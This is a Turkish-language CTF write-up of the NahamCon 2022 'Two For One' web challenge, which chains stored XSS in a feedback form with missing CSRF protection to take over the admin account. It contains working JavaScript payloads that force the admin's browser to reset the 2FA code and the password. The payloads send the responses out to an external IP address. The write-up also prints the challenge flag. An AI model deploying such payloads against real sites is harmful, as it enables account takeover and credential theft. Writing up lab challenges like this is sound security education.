Nahamcon 2022 Web Soruları - Two For One
CTF Linki: https://ctf.nahamcon.com/challenges
Kategori: Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF)
TLDR; Uygulamanın formlarında CSRF zafiyeti var. Ayrıca feedback formunda da XSS zafiyeti var. CSRF zafiyetini XSS ile tetikleyerek admin hesabının parolasını sıfırlıyoruz. Ardından uygulamaya admin olarak girip flagi okuyoruz.
Adimlar
Bu soru, CTF boyunca en çok zevk aldığım sorulardan birisidir. Soru için makineyi tetikledikten sonra uygulamaya kayıt olup giriş yapıyoruz.
İçerde secretların saklandığı ve sadece 2FA kodu kullanılarak görüntülenebildiği bir yapı var.
Uygulamanın yapısını ve işleyişini anlamak adına biraz geziniyorum. Settingse gittiğimde en altta bir feedback formu gördüm. Önceki sorulardan da ilham alarak ve hazırladığım yapıyı da kullanarak <script src="http://159.89.17.34:8082/index.js"></script>
payloadını gönderdim.
XSS zafiyeti olduğunu teyit etmiş oldum. Aşağıda da göründüğü üzere sunucuma istek geldi.
Normalde sadece XSS zafiyeti ile cookie çekilip admin hesabına giriş yapılabilirmiş. Bunu yazıyı yazarken farkettim :)
Gerçek dünyada cookieler o kadar kolay çekilemediği için bu yöntem sınav boyunca aklıma gelmedi. Ben de XSS zafiyetini daha etkin kullanabilmek adına diğer fonksiyonların işleyişini incelemeye başladım. 2FA kodunu resetlemek için butona bastığımda parola vs sormadan direkt olarak QR kod geldi.
Uygulamadan gelen responseu incelediğimde ise CSRF zafiyetine karşı önlem alınmadığını farkettim. Yani XSS zafiyeti ile admine bu isteği attırtıp gelen cevabı çekebilirdim.
VPSdeki index.js içerisine aşağıdaki Javascript kodunu yapıştırdım.
function httpGet(theUrl) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}
function httpPost(theUrl) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", theUrl, false );
xmlHttp.send(null);
return xmlHttp.responseText;
}
response = httpPost('http://challenge.nahamcon.com:30331/reset2fa')
httpGet('http://159.89.17.34:8082/hello_' + response)
Feedback formuna yukarıda gönderdiğim payloadı <script src="http://159.89.17.34:8082/index.js"></script>
tekrar gönderdim. Artık elimde adminin 2FA kodu var. Bu dursun kenarda.
Uygulama parola sıfırlama fonksiyonunda 2FA kodunu istiyor.
Aynı şekilde burada da CSRF koruması yok.
index.js içerisindeki fonksiyonları hemen aşağıdaki şekilde güncelledim.
function httpPost(theUrl) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", theUrl, false );
xmlHttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlHttp.send('{"otp":"862393","password":"1","password2":"1"}');
return xmlHttp.responseText;
}
response = httpPost('http://challenge.nahamcon.com:30331/reset_password')
httpGet('http://159.89.17.34:8082/hello_' + response)
XSS’i tekrar tetikledim ve istekler geldi.
Son adım olarak admin paneline erişip flagi okumak kaldı.
FLAG: flag{96710ea6be916326f96de003c1cc97cb}